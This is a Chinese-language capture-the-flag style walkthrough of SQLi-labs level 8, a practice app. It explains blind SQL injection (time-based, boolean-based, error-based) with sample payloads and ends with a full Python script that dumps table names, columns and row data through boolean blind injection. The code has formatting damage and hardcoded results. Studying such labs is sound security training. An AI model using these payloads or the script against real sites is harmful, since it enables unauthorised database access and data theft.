Sqlilabs-8

第 8 关来到了盲注
Sqlilabs-8
首先得介绍盲注相关知识:

什么是盲注?
盲注就是在 sql 注入过程中数据不能回显到前端页面。此时,我们就要猜,猜的过程就是盲注。

盲注的类型有哪些?

  1. 基于时间的盲注
  2. 基于布尔的盲注
  3. 基于报错的盲注

对三类盲注的详细说明

  1. 基于时间,怎么个基于时间?其实就是也有点布尔的意思,并且还需要结合布尔,如果我这样注入,猜测是对是错,由时间来做抉择,如果是对,延迟几秒再显示页面,如果是错,就正常显示页面。
  2. 基于布尔,怎么个基于布尔?其实跟时间很像,只不过做裁决的不再是时间,而是返回的数据本身,比如,我查ABC这一数据,问第一个字母的 ASCII 值是不是大于 100 ,如果正确,页面就会显示 you are in…,如果错误就什么都不显示。
  3. 基于报错,其实基于报错有点类似与第五第六关,通过一些函数特性报错得到需要的结果

各类盲注的详细运用

  1. 基于时间
    if 判断语句,如果条件为真,执行 sleep
    if(ascii(substr(database(),1,1))>115,sleep(5),0)%23

  2. 基于报错
    select count(*) from information_schema.tables group by concat((select database()),floor(rand()*2))
    这是由 5.6 关卡的payload简化而来的
    如果关键的表[information_schema.tables]被禁用了,可以使用:
    select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand()*2))
    如果rand被禁用了,可以使用用户变量来报错:
    select min(@a:=1) from information_schema.tables group by concat(password,@a:(@a+1)%2)

还可以利用double数值类型超出范围,exp() 为以 e 为底的对数函数,mysql 版本需为 5.5.5 及其以上select exp(~(select * from(select user())a))`

利用 mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

  1. 基于布尔
    database():显示数据库名称 left(a,b) 从左侧截取 a 的前 b 位
    left(database(),1)>'s'
    substr(a,b,c):从 b 位置开始截取 a 字符串的 c 长度,ascii():将某个字符串转化为 ascii 值
    ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
    ord():同substr(),mid():同ascii()
    ORD(MID((select IFNULL(CAST(usernames as char),0x20)from security.users order by id limit 0,1),1,1))>98%23
    利用 mysql 重复特性,此处重复了 version(),所以报错
    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
    !!!
    一些常用的ascii值:A:65, Z:90, a:97, z:122, 0:48, 9:57
    !!!
    下面开始进入关卡:
    界面显示要你构造 ID,构造后只显示 You are in… 并不回显内容,所以只能盲注:
    http://sqlilabs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>96,1,0)--+
    Sqlilabs-8
    …由于盲注太过繁琐,我们可以编写脚本来实现盲注:
    实现了基本功能

    import requests
    import sys
    import time

    quote_one = 0
    quote_double = 0
    twist = 0
    table_number = 0
    column_number = 0
    data_number = 0
    table_name = []
    column_name = []
    data_name = []
    choose_table = “”
    choose_column = “”

    headers = {
    ‘Host’: ‘sqlilabs’,
    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0’,
    ‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8’,
    ‘Accept-Language’: ‘zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2’,
    ‘Accept-Encoding’: ‘gzip, deflate’,
    ‘Connection’: ‘keep-alive’,
    ‘Upgrade-Insecure-Requests’: ‘1’,
    }

    新的 url 地址

    def get_new(url):
    new_url = url
    global quote_one
    global quote_double
    global twist
    if quote_one != 0:
    number_one = quote_one + 1
    for i in range(1, number_one):
    new_url += “’”
    else:
    number_double = quote_double + 1
    for i in range(1, number_double):
    new_url += ‘"’
    if twist != 0:
    number_twist = twist + 1
    for i in range(1, number_twist):
    new_url += “)”
    return new_url

    猜测表张数

    def guess_table_number(url,str_success):
    global table_number
    num = 1
    while True:
    time.sleep(0.1)
    new_url = url + " and if((select count(*) from information_schema.tables where table_schema = database())="+str(num)+",1,0)–+"
    print(“正在猜测表张数:”+str(num))
    response = requests.get(new_url)
    if str_success in response.text:
    table_number = num
    print(“该数据库一共有 “+str(table_number)+” 张表”)
    print("-------------------------------------------------")
    time.sleep(2)
    break
    else:
    num += 1

    猜测每张表的名字长度

    def guess_table_length(url,str_success):
    global table_number
    for i in range(0, table_number):
    num = 1
    str_num = num
    while True:
    time.sleep(0.1)
    a = str(i)
    number = i+1;
    new_url = url + " and if(length((select table_name from information_schema.tables where table_schema=database() limit “+a+”,1))="+str(str_num)+",1,0)–+"
    response = requests.get(new_url)
    print(“正在猜测第 “+str(number)+” 张表的表名长度为:”+str(str_num))
    if str_success in response.text:
    print(“注入成功,第 “+str(number)+” 张表的长度为: “+str(str_num))
    print(”-------------------------------------------------”)
    time.sleep(2)
    table_length = str_num
    guess_table_name(url,str_success,table_length,i+1)
    break
    else:
    str_num += 1

    猜测每张表的名字

    def guess_table_name(url,str_success,table_length,tablenum):
    global table_name
    print(“开始猜测第 “+str(tablenum)+” 张表表名”)
    length = table_length + 1
    tablename = “”
    a = tablenum - 1
    for i in range(1, length):
    b = str(i)
    payload = [‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘0’,
    ‘a’,‘b’,‘c’,‘d’,‘e’,‘f’,‘g’,‘h’,‘i’,‘j’,‘k’,‘l’,‘m’,‘n’,‘o’,‘p’,‘q’,‘r’,‘s’,‘t’,‘u’,‘v’,‘w’,‘x’,‘y’,‘z’,
    ‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’,‘H’,‘I’,‘J’,‘K’,‘L’,‘M’,‘N’,‘O’,‘P’,‘Q’,‘R’,‘S’,‘T’,‘U’,‘V’,‘W’,‘X’,‘Y’,‘Z’]
    for k in payload:
    time.sleep(0.1)
    num = ord(k)
    num = str(num)
    new_url = url + " and if(ascii((select substr((select table_name from information_schema.tables where table_schema=database() limit “+str(a)+”,1),"+b+",1)))="+num+",1,0)–+"
    response = requests.get(new_url)
    print(“正在猜测第 “+str(i)+” 个字符为: " + k)
    if str_success in response.text:
    print(“注入成功第 “+str(i)+” 个字符为: " + k)
    print(”-------------------------------------------------”)
    time.sleep(2)
    tablename += k
    break
    table_name.append(tablename)
    print(“第”+str(tablenum)+" 张表的名称为: "+tablename)

    猜测所选表列数

    def guess_column_number(url,str_success):
    global column_number
    global choose_table
    num = 1
    while True:
    time.sleep(0.1)
    new_url = url + " and if((select count(*) from information_schema.columns where table_schema = database() and table_name = ‘"+choose_table+"’)="+str(num)+",1,0)–+"
    print(“正在猜测列数数:”+str(num))
    response = requests.get(new_url)
    if str_success in response.text:
    column_number = num
    print(choose_table+" 表一共有 “+str(column_number)+” 列")
    print("-------------------------------------------------")
    time.sleep(2)
    break
    else:
    num += 1

    猜测所选表列名字长度

    def guess_column_length(url,str_success):
    global column_number
    global choose_table
    for i in range(0, column_number):
    num = 1
    str_num = num
    while True:
    time.sleep(0.1)
    a = str(i)
    number = i+1;
    new_url = url + " and if(length((select column_name from information_schema.columns where table_schema=database() and table_name = ‘"+choose_table+"’ limit “+a+”,1))="+str(str_num)+",1,0)–+"
    response = requests.get(new_url)
    print(“正在猜测第 “+str(number)+” 列的列名长度为:”+str(str_num))
    if str_success in response.text:
    print(“注入成功,第 “+str(number)+” 列的长度为: “+str(str_num))
    print(”-------------------------------------------------”)
    time.sleep(2)
    column_length = str_num
    guess_column_name(url,str_success,column_length,i+1)
    break
    else:
    str_num += 1

    猜测所选表列名字

    def guess_column_name(url,str_success,column_length,columnnum):
    global choose_table
    global column_name
    print(“开始猜测第 “+str(columnnum)+” 张表表名”)
    length = column_length + 1
    columnname = “”
    a = columnnum - 1
    for i in range(1, length):
    b = str(i)
    payload = [‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘0’,
    ‘a’,‘b’,‘c’,‘d’,‘e’,‘f’,‘g’,‘h’,‘i’,‘j’,‘k’,‘l’,‘m’,‘n’,‘o’,‘p’,‘q’,‘r’,‘s’,‘t’,‘u’,‘v’,‘w’,‘x’,‘y’,‘z’,
    ‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’,‘H’,‘I’,‘J’,‘K’,‘L’,‘M’,‘N’,‘O’,‘P’,‘Q’,‘R’,‘S’,‘T’,‘U’,‘V’,‘W’,‘X’,‘Y’,‘Z’]
    for k in payload:
    time.sleep(0.1)
    num = ord(k)
    num = str(num)
    new_url = url + " and if(ascii((select substr((select column_name from information_schema.columns where table_schema=database() and table_name = ‘"+choose_table+"’ limit “+str(a)+”,1),"+b+",1)))="+num+",1,0)–+"
    response = requests.get(new_url)
    print(“正在猜测第 “+str(i)+” 个字符为: " + k)
    if str_success in response.text:
    print(“注入成功第 “+str(i)+” 个字符为: " + k)
    print(”-------------------------------------------------”)
    time.sleep(2)
    columnname += k
    break
    column_name.append(columnname)
    print(“第”+str(columnnum)+" 列的名称为: "+columnname)

    猜测列数据行数

    def guess_data_number(url,str_success):
    global data_number
    global data_name
    global choose_table
    global choose_column
    num = 1
    data_name = []
    while True:
    time.sleep(0.1)
    new_url = url + " and if((select count(*) from “+choose_table+”)="+str(num)+",1,0)–+"
    print(“正在猜测数据行数:”+str(num))
    response = requests.get(new_url)
    if str_success in response.text:
    data_number = num
    print(choose_column+" 列一共有 “+str(data_number)+” 行")
    print("-------------------------------------------------")
    time.sleep(2)
    break
    else:
    num += 1

    猜测列数据长度

    def guess_data_length(url,str_success):
    global data_number
    global choose_table
    global choose_column
    for i in range(0, data_number):
    num = 1
    str_num = num
    while True:
    time.sleep(0.1)
    a = str(i)
    number = i+1;
    new_url = url + " and if(length((select “+choose_column+” from “+choose_table+” limit “+a+”,1))="+str(str_num)+",1,0)–+"
    response = requests.get(new_url)
    print(“正在猜测第 “+str(number)+” 行的数据名长度为:”+str(str_num))
    if str_success in response.text:
    print(“注入成功,第 “+str(number)+” 行的数据名长度为: “+str(str_num))
    print(”-------------------------------------------------”)
    time.sleep(2)
    data_length = str_num
    guess_data_name(url,str_success,data_length,i+1)
    break
    else:
    str_num += 1

    猜测所选列数据名字

    def guess_data_name(url,str_success,data_length,datanum):
    global data_name
    global choose_table
    global choose_column
    print(“开始猜测第 “+str(datanum)+” 张表表名”)
    length = data_length + 1
    dataname = “”
    a = datanum - 1
    for i in range(1, length):
    b = str(i)
    payload = [‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’, ‘0’,
    ‘a’,‘b’,‘c’,‘d’,‘e’,‘f’,‘g’,‘h’,‘i’,‘j’,‘k’,‘l’,‘m’,‘n’,‘o’,‘p’,‘q’,‘r’,‘s’,‘t’,‘u’,‘v’,‘w’,‘x’,‘y’,‘z’,
    ‘A’,‘B’,‘C’,‘D’,‘E’,‘F’,‘G’,‘H’,‘I’,‘J’,‘K’,‘L’,‘M’,‘N’,‘O’,‘P’,‘Q’,‘R’,‘S’,‘T’,‘U’,‘V’,‘W’,‘X’,‘Y’,‘Z’]
    for k in payload:
    time.sleep(0.1)
    num = ord(k)
    num = str(num)
    new_url = url + " and if(ascii((select substr((select “+choose_column+” from “+choose_table+” limit “+str(a)+”,1),"+b+",1)))="+num+",1,0)–+"
    response = requests.get(new_url)
    print(“正在猜测第 “+str(i)+” 个字符为: " + k)
    if str_success in response.text:
    print(“注入成功第 “+str(i)+” 个字符为: " + k)
    print(”-------------------------------------------------”)
    time.sleep(2)
    dataname += k
    break
    data_name.append(dataname)
    print(“第”+str(datanum)+" 列的名称为: "+dataname)

    if name == ‘main’:
    #url =input(“请输入你需要注入的 url 地址 | 注意 url 需要有可注入的地方,如:http://sqlilabs/Less-8/?id=1 :”)
    url = “http://sqlilabs/Less-8/?id=1”
    response = requests.get(url=url,headers=headers)
    str_success = “You are in…”
    print(“请手工尝试注入类型为单引号 或者 双引号 或者 单引号+括号 或者 双引号+括号等等…然后在下方输入数量:D”)
    try:
    quote_one = int(input(“请输入单引号数量:”))
    if quote_one == 0:
    quote_double = input(“请输入双引号数量:”)
    twist = int(input(“请输入括号数量:”))
    except:
    print(“请输入正确的数量,程序已终止…请重新运行”)
    sys.exit()
    new_url = get_new(url)
    if str_success in response.text:
    guess_table_number(new_url,str_success)
    guess_table_length(new_url,str_success)
    print(“全部表名–>:” + str(table_name))
    table_name = [‘emails’, ‘referers’, ‘uagents’, ‘users’]
    while True:
    print(“0 : 退出”)
    for i in range(len(table_name)):
    print(str(i+1)+" : "+table_name[i])
    name = int(input(“请认真选择要检索的表:”))
    if name >0 and name <= len(table_name):
    name = name - 1
    choose_table = table_name[name]
    guess_column_number(new_url, str_success)
    guess_column_length(new_url,str_success)
    column_name = [‘id’,‘username’,‘password’]
    print(“全部列名–>:” + str(column_name))
    while True:
    print(“0 : 退出”)
    for i in range(len(column_name)):
    print(str(i + 1) + " : " + column_name[i])
    name = int(input(“请认真选择要检索的列:”))
    if name > 0 and name <= len(column_name):
    name = name - 1
    choose_column = column_name[name]
    guess_data_number(new_url, str_success)
    guess_data_length(new_url, str_success)
    print(“全部数据–>:” + str(data_name))
    else:
    break
    else:
    print(“您的选择有误!请重新选择:D”)
    else:
    print(“请输入正确的 url 地址!”)

Sqlilabs-8

Sqlilabs-8

????